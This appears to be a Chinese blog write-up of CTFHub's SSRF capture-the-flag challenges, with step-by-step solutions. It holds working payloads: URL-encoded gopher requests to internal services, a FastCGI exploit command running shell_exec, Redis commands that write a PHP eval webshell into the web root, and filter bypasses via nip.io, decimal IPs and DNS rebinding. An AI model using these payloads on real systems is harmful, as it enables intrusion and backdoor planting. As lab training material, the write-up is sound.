本文主要是介绍CTFHub SSRF(服务器请求伪造) WriteUP,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
点击"仙网攻城狮”关注我们哦~
不当想研发的渗透人不是好运维
让我们每天进步一点点
简介
CTFHub 为网络安全工程师提供网络安全攻防技能培训、实战、技能提升等服务。
「赛事中心」提供全网最全最新的 CTF 赛事信息,关注赛事定制自己专属的比赛日历吧。
「技能树」提供清晰的 CTF 学习路线,想要变强就加点,哪里不会点哪里。
「历年真题」提供无限次赛后复盘,边学边练。
「工具」提供各类常用工具,打仗没有一把趁手的武器怎么行。
实战
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF漏洞目前是比较常见的,从多个角度来进行讲解
一、内网访问
1.打开靶机后给出一个url
2.直接访问flag.php即可,根据题目名字可以看出来是访问内网。
二、伪协议读取文件
1.使用file进行读取,这个题目需要知道php有哪些伪协议和基本常识,比如页面文件默认放到哪个目录下。
三、端口扫描
1.题目上有提示扫描8000-9000
2.直接使用burpsutie爆破一波
3.用字典工具生成8000-9000的密码表,直接开跑,8163
四、POST请求
1.题目中说使用curl来进行,直接上url就行
2.访问后发现一个输入框
3.查看源码发现一个key
4.我们首先构造一个POST请求。下面的是最基本的POST请求,也就是说如果构造POST,至少下面这些的内容一定要有。
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=8e1bad5e0b0e59ce4b8f401fc61dedef
5.注意Content-Length那里,必须和你的POST请求长度一样,不然结果就出不了。接下来我们要把这个POST请求进行一次URL编码:
POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3Dfad5d6e7f2d9efb2ce25f018bd18cfd9
6.这里又是一个问题,首先就是对换行的处理。如果你的POST请求编码出来的换行是%0A,就需要把%0A改成%0D%0A:
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3Dfad5d6e7f2d9efb2ce25f018bd18cfd9
7.然后还要再进行2次URL编码,也就是说一共要进行三次URL编码,我当时就是因为只进行了2次,就没弄到flag。
最终:
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Dfad5d6e7f2d9efb2ce25f018bd18cfd9
8.使用伪协议gopher构造url即可,这里有个坑,题目说是使用302.php跳转,结果是需要从index.php跳转,而且必须要在浏览器中输入。
五、上传文件
1.根据题目需要上传一个文件,先看看flag.php
2.上传时发现没有上传按钮,修改一下源码,添加一个
3.随便上传一个文件看看
4.使用burpsutie查看一下,再把新增的去掉
5.把上面部分删除后全部复制url编码一次,%0a换成%0d%0a后,再url编码一次
6.payload
/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520challenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A89.0)%2520Gecko%252F20100101%2520Firefox%252F89.0%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------74678227140532112573885107383%250D%250AContent-Length%253A%2520437%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-800b39a5382e13b1.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APragma%253A%2520no-cache%250D%250ACache-Control%253A%2520no-cache%250D%250A%250D%250A-----------------------------74678227140532112573885107383%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522webshell%2520.html%2522%250D%250AContent-Type%253A%2520image%252Fjpeg%250D%250A%250D%250A%25C3%25A6%25C2%2588%25C2%2591%25C3%25A6%25C2%2598%25C2%25AF%25C3%25A4%25C2%25B8%25C2%2580%25C3%25A4%25C2%25B8%25C2%25AA%25C3%25A6%25C2%259C%25C2%25A8%25C3%25A9%25C2%25A9%25C2%25AC%25C3%25A6%25C2%2596%25C2%2587%25C3%25A4%25C2%25BB%25C2%25B6%25C3%25A6%25C2%2588%25C2%2591%25C3%25A5%25C2%2595%25C2%25A5%25C3%25A9%25C2%2583%25C2%25BD%25C3%25A8%25C2%2583%25C2%25BD%25C3%25A5%25C2%25B9%25C2%25B2%25C3%25AF%25C2%25BC%25C2%258C%25C3%25A5%25C2%25B0%25C2%25B1%25C3%25A9%25C2%2597%25C2%25AE%25C3%25A4%25C2%25BD%25C2%25A0%25C3%25A6%25C2%2580%25C2%2595%25C3%25A4%25C2%25B8%25C2%258D%25C3%25A6%25C2%2580%25C2%2595%25C3%25AF%25C2%25BC%25C2%2581%25C3%25AF%25C2%25BC%25C2%2581%25C3%25AF%25C2%25BC%25C2%2581%253Cphp%2520phpinfo()%253B%253F%253E%250D%250A-----------------------------74678227140532112573885107383
7.使用payload获得flag
六、FastCGI协议
1.这个还是蛮复杂的需要查看下面内容,该文章已经说明漏洞环境,只需要直接利用就行了。
https://blog.csdn.net/mysteryflower/article/details/94386461
2.配置一个本地监听并使用hexdump生成对照信息
3.使用exp执行下面命令来生成一个请求包
python2 FastCGI_exp.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
4.查看一下1.txt,下面就是生成的请求
5.python3处理一下内容
6.生成的使用payload获得flag文件
7.修改使用cat命令,第2-6步访问flag文件,获取flag
七、Redis
1.redis命令,需要把下面命令生成url
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
2.网上找到的转换脚本
3.运行后生成payload
%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
4.使用payload在浏览器中上传一句话
gopher://127.0.0.1:6379/_payload
5.在shell上执行命令查询flag文件
6.查看flag文件获取flag
八、URL Bypass
1.利用nip.io,这个是一个dns解析网站访问www.xxx.com.1.1.1.1.nip.io,会解析为1.1.1.1
2.生成payload
?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
3.使用payload获得flag
九、数字IP Bypass
1.题目提示说不能使用点分十进制,使用转换成数字IP,网上工具一大堆哈
2.把127.0.0.1转换为数字IP
3.生成payload
?url=http://2130706433/flag.php
4.使用payload获得flag
十、302跳转 Bypass
1.根据题目提示说禁止访问127.0.0.1,需要使用302进行跳转
2.其实127.0.0.1还有一种写法:localhost 生成payload
?url=localhost/flag.php
3.使用payload获得flag,这道题感觉有点象脑筋急转弯
十一、DNS重绑定 Bypass
1.根据题目附件学习了什么是DNS重绑定e
2.使用lock.cmpxchg8b.com网站生成一个重绑定域名
3.使用生成的域名构造payload
?url=7f000001.7f000002.rbndr.us/flag.php
4.使用payload获得flag
总结:SSRF太考验脑洞了,其中使用的脚本和工具也比较多,想要学好SSRF必须要学习大量代码类的知识,加油吧!!!
往期内容
CTFHub RCE(命令执行、文件包含) WriteUP
ATT&CK实战-红队评估之二
简单讲解一下什么是ATT&CK框架
更多资讯长按二维码 关注我们
觉得不错点个“赞”呗
这篇关于CTFHub SSRF(服务器请求伪造) WriteUP的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!